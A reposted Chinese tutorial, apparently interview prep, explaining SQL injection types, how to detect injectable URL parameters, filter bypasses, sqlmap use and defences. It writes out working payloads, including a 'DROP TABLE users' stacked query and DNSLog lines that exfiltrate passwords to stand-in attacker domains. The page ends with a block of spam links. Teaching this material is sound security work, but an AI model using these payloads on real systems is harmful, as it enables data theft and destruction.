当前位置: 首页 > wzjs >正文

重庆网站建设百度推广国外网站托管

重庆网站建设百度推广,国外网站托管,中山网站建设找丁生,网站开发 接单网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 美团-安全工程师实习 一、SQL注入攻击类型及原理 1. 联合查询注入(Union-Based Injection…

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

美团-安全工程师实习

一、SQL注入攻击类型及原理

1. 联合查询注入(Union-Based Injection)

2. 报错注入(Error-Based Injection)

3. 布尔盲注(Boolean-Based Blind Injection)

4. 时间盲注(Time-Based Blind Injection)

5. 堆叠注入(Stacked Queries Injection)

6. 二次注入(Second-Order Injection)

7. 宽字节注入(GBK Injection)

8. Out-of-Band注入(带外通道注入)

二、URL注入点检测方法

1. 初步探测:字符逃逸测试

2. 逻辑测试:布尔条件验证

3. 时间延迟测试

4. 联合查询验证

5. 报错函数触发

6. 自动化工具辅助

7. 绕过过滤技巧

三、SQL注入防御策略

1. 参数化查询(Prepared Statements)

2. ORM框架使用

3. 输入验证与过滤

4. 最小权限原则

5. 错误处理与日志

6. Web应用防火墙(WAF)

7. 安全编码规范

四、DNSLog注入详解(1000字)

1. 攻击原理

2. 适用场景

3. 检测与利用工具

4. 防御措施

美团-安全工程师实习

sql注入有哪些
URL如何判断是否存在注入
sql注入防范
DNSlog注入
一、SQL注入攻击类型及原理
1. 联合查询注入(Union-Based Injection)

原理:通过构造UNION SELECT语句合并合法查询与攻击者定义的恶意查询,从而从其他表中提取数据。
示例
/product.php?id=1' UNION SELECT username,password FROM users--+
关键条件

  • 原查询与UNION查询的字段数必须相同。
  • 数据库需返回完整查询结果(非部分截断)。
    检测方法
  • 使用ORDER BY递增数字确定字段数(如ORDER BY 5若报错则字段数小于5)。
  • 通过UNION SELECT NULL,NULL,...测试字段兼容性(部分数据库要求字段类型一致)。
2. 报错注入(Error-Based Injection)

原理:利用数据库函数或语法错误触发显式报错,将敏感数据通过错误信息回显。
常用函数

  • MySQLextractvalue(1,concat(0x7e,(SELECT @@version)))(利用XML解析报错)。
  • SQL ServerCONVERT(int, (SELECT @@version))(类型转换错误)。
    示例
    /search.php?q=1' AND updatexml(1,concat(0x7e,(SELECT user())),1)--+
    优势:无需依赖页面内容显示数据,仅需观察错误信息。
3. 布尔盲注(Boolean-Based Blind Injection)

原理:通过页面返回的布尔状态(真/假)推断数据内容,适用于无报错且无数据回显的场景。
攻击流程

  1. 构造条件语句,如AND 1=1(页面正常)与AND 1=2(页面异常)。
  2. 逐字符猜解数据,如:
    /login.php?user=admin' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--+
    自动化工具:使用sqlmap --technique=B指定布尔盲注测试。
4. 时间盲注(Time-Based Blind Injection)

原理:通过数据库延时函数(如SLEEP())触发响应时间差异,判断注入条件是否成立。
示例
/profile.php?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)--+
(若数据库名首字母ASCII码为115即字母's',则页面响应延迟5秒)。
跨数据库差异

  • MySQLSLEEP(5)
  • PostgreSQLpg_sleep(5)
  • SQL ServerWAITFOR DELAY '0:0:5'
5. 堆叠注入(Stacked Queries Injection)

原理:利用分号;执行多条SQL语句,实现增删改查操作。
示例
/delete.php?id=1'; DROP TABLE users;--+
支持场景

  • PHP + MySQL默认不支持堆叠查询(需使用mysqli_multi_query)。
  • ASP + SQL Server通常支持。
    风险:可直接执行高危操作(如删除表、写入文件)。
6. 二次注入(Second-Order Injection)

原理:攻击数据先被存储(如用户注册),后续在另一个功能中被调用执行。
典型场景

  1. 注册用户名为admin'-- ,前端过滤但未转义。
  2. 密码修改功能调用用户名时触发注入:
    UPDATE users SET password='newpass' WHERE username='admin'-- '
    防御难点:需确保所有涉及数据库读写环节均进行过滤。
7. 宽字节注入(GBK Injection)

原理:利用数据库字符集转换漏洞(如GBK编码),绕过转义符(\)过滤。
示例

  • 输入%bf%27¿'),转义后变为%bf%5c%27(GBK解码为運'),导致单引号逃逸。
    防御:统一使用UTF-8编码,避免多字节字符集。
8. Out-of-Band注入(带外通道注入)

原理:通过DNS、HTTP等外部协议将数据外传,常用于无回显场景。
DNSLog注入示例(详见第四部分):
/api.php?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--+
依赖条件:数据库需具备外连权限(如MySQL的secure_file_priv为空)。


二、URL注入点检测方法
1. 初步探测:字符逃逸测试

步骤

  1. 在参数后添加单引号'、双引号"、括号)等,观察是否报错或页面内容变化。
  2. 测试注释符:-- (SQL Server)、#(MySQL)、/*(多行注释)。
    示例
    /product.php?id=1' → 返回数据库语法错误。
    /search?q=test" → 页面无结果,可能触发逻辑异常。
2. 逻辑测试:布尔条件验证

方法

  • AND 1=1 → 页面正常(如商品详情正常加载)。
  • AND 1=2 → 页面无数据(如商品消失)。
    进阶
  • 拼接永真/永假条件:OR 'a'='a'AND 'a'='b'
  • 验证数字型/字符型注入:id=2-1(若返回id=1的内容则为数字型)。
3. 时间延迟测试

Payload

  • MySQL:id=1' AND SLEEP(5)--+
  • SQL Server:id=1; WAITFOR DELAY '0:0:5'--
    判断依据:响应时间是否显著增加(需排除网络波动干扰)。
4. 联合查询验证

流程

  1. 使用ORDER BY确定字段数:
    /product.php?id=1 ORDER BY 5--+ → 若报错则字段数小于5。
  2. 构造UNION SELECT验证回显位:
    id=-1' UNION SELECT 1,2,3--+ → 页面显示数字2和3,则为可输出位。
5. 报错函数触发

Payload设计

  • AND updatexml(1,concat(0x7e,(SELECT user())),1) → 显示XPATH syntax error: '~root@localhost'
  • OR exp(~(SELECT * FROM (SELECT version())x)) → 触发双查询报错。
6. 自动化工具辅助

sqlmap命令示例

bashsqlmap -u "http://example.com/product.php?id=1" \ --batch \ --risk=3 \ --level=5 \ --technique=BEUSTQ 

参数说明

  • --technique:指定注入技术(B:布尔盲注, E:报错注入, U:联合查询, S:堆叠注入, T:时间盲注, Q:内联查询)。
  • --risk=3:允许使用高风险Payload(如OR条件)。
7. 绕过过滤技巧

常见绕过方法

  • 大小写混写UnIoN SeLeCt
  • URL编码%20替换空格,%27替换单引号。
  • 双写关键词UNIUNIONON SELECT(若过滤UNION则为UNIONON)。
  • 注释符分割SEL/**/ECT

三、SQL注入防御策略
1. 参数化查询(Prepared Statements)

原理:将SQL语句与数据分离,数据库预编译模板后仅处理参数值。
代码示例(Python)

pythoncursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

支持框架

  • Java:PreparedStatement
  • PHP:PDO($stmt->bindParam())。
2. ORM框架使用

优势:通过对象映射避免手动拼接SQL。
示例

  • Django ORM:User.objects.filter(id=user_id)
  • Hibernate:session.createQuery("FROM User WHERE id = :id").setParameter("id", user_id)
3. 输入验证与过滤

策略

  • 白名单验证:如数字型参数仅允许[0-9]
  • 黑名单过滤:禁用UNIONSELECT等关键词(需谨慎,易被绕过)。
4. 最小权限原则

数据库账号配置

  • 禁止使用rootsa账号连接应用。
  • 限制权限:仅授予SELECTINSERT等必要权限,禁用FILEEXECUTE
5. 错误处理与日志

要求

  • 前端返回通用错误信息(如“系统错误”)。
  • 日志记录完整错误详情,但避免泄露数据库结构。
6. Web应用防火墙(WAF)

功能

  • 拦截包含UNIONSLEEP等特征的请求。
  • 配置正则规则:如/\bUNION\b.*\bSELECT\b/i
7. 安全编码规范

规则示例

  • 禁止动态拼接SQL(如"SELECT * FROM " + tableName)。
  • 统一使用参数化接口(如MyBatis #{}占位符)。

四、DNSLog注入详解(1000字)
1. 攻击原理

流程

  1. 构造Payload触发数据库发起DNS查询。
  2. 查询内容包含敏感数据(如SELECT user())。
  3. 攻击者通过DNS日志获取数据。

示例Payload(MySQL)

sql' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.dnslog-attacker.com\\test'))--+ 

关键函数

  • LOAD_FILE():读取文件(需FILE权限)。
  • CONCAT():拼接域名和数据。
2. 适用场景
  • 目标数据库允许外连(secure_file_priv为空)。
  • 注入点为盲注且无回显。
3. 检测与利用工具
  • DNSLog平台:ceye.io 、dnslog.cn (提供临时域名收集查询记录)。
  • sqlmap集成
bashsqlmap -u "http://example.com/vuln.php?id=1" \ --dns-domain dnslog-attacker.com \ --technique=BEUST 
4. 防御措施
  • 限制数据库外连权限(配置防火墙规则)。
  • 禁用FILE权限和危险函数(如LOAD_FILE())。
  • 过滤输入中的特殊字符(如\.)。

文章转载自:

http://52gIWdHU.gwsdt.cn
http://Uptbz761.gwsdt.cn
http://kuSSafMC.gwsdt.cn
http://e3uwKQ97.gwsdt.cn
http://4s8cF9bz.gwsdt.cn
http://bqBeFVAT.gwsdt.cn
http://oSRigtBf.gwsdt.cn
http://EeR8jbUj.gwsdt.cn
http://Tpl6cCCs.gwsdt.cn
http://lLq6MXAM.gwsdt.cn
http://hVJWJwsC.gwsdt.cn
http://WrJb9bw5.gwsdt.cn
http://nTnqW61z.gwsdt.cn
http://JofTFbuF.gwsdt.cn
http://13ZEh1ya.gwsdt.cn
http://kKkipXUM.gwsdt.cn
http://zLwLhtQR.gwsdt.cn
http://XAJnXQmd.gwsdt.cn
http://TffvWpJ1.gwsdt.cn
http://arvN7YHi.gwsdt.cn
http://2ub74VDr.gwsdt.cn
http://dYjC48w5.gwsdt.cn
http://vksKIxOE.gwsdt.cn
http://tm0ysfO3.gwsdt.cn
http://nGT7TZ1q.gwsdt.cn
http://6pUa904Q.gwsdt.cn
http://aUAitDNU.gwsdt.cn
http://ONAepNCx.gwsdt.cn
http://kuaRGrl3.gwsdt.cn
http://gWYARa9N.gwsdt.cn
http://www.dtcms.com/wzjs/674736.html

相关文章:

  • 贵港建设局网站查询山西传染病最新消息今天
  • 阳江北京网站建设湛江正规网站制作方案
  • 如何用织梦建网站修改WordPress登陆
  • 网站开发ppt方案模板建设网站的技术方案是啥
  • 室内设计作品集案例赏析培训推广 seo
  • 群晖服务器做网站建个购物网站要多少钱
  • 网站开发所需要的知识企业网站优化内容
  • 个人网站免费空间wordpress 插件 主体
  • 68Design一样设计网站刚刚发生了一件大事
  • 傻瓜网站建设网页游戏网站hpjy
  • 网站建设的一般步骤包括哪些jeecms 怎么建设网站
  • 购物网站的建立十大互联网装修平台排名
  • 建设有访问量的网站桂林东西巷美食
  • 一站式网站建设业务商丘互联网营销推广
  • 网站建设百度索引大连网站的建设
  • 页游网站建设网页制作模板端午节
  • 建企业网站一般多少钱oppo软件商店安装
  • 英语培训学校网站建设多少钱网店设计方案计划书
  • 青岛黄岛网站建设公司电话php购物网站开发
  • 电商网站页面设计青岛网站建设鲁捷云
  • 兰州道路建设情况网站网站制作的基本流程
  • 新手做网站设计androidapp开发教程
  • 齐齐哈尔哪里做网站it培训机构包就业是啥套路
  • 网站端和移动端分开建设域名一样么家庭优化大师免费下载
  • 国外做的比较的ppt网站有哪些门户网站制作定做
  • 一个专门做破解的网站那些做黑网站的都是团体还是个人
  • 建设网站要多长时间做网站linux和win
  • 装置艺术那个网站做的好抚州律师网站建设
  • 做公司的网站的需求有哪些内容怎样做免费外贸网站
  • 关键词网站建设公司九个关键词感悟中国理念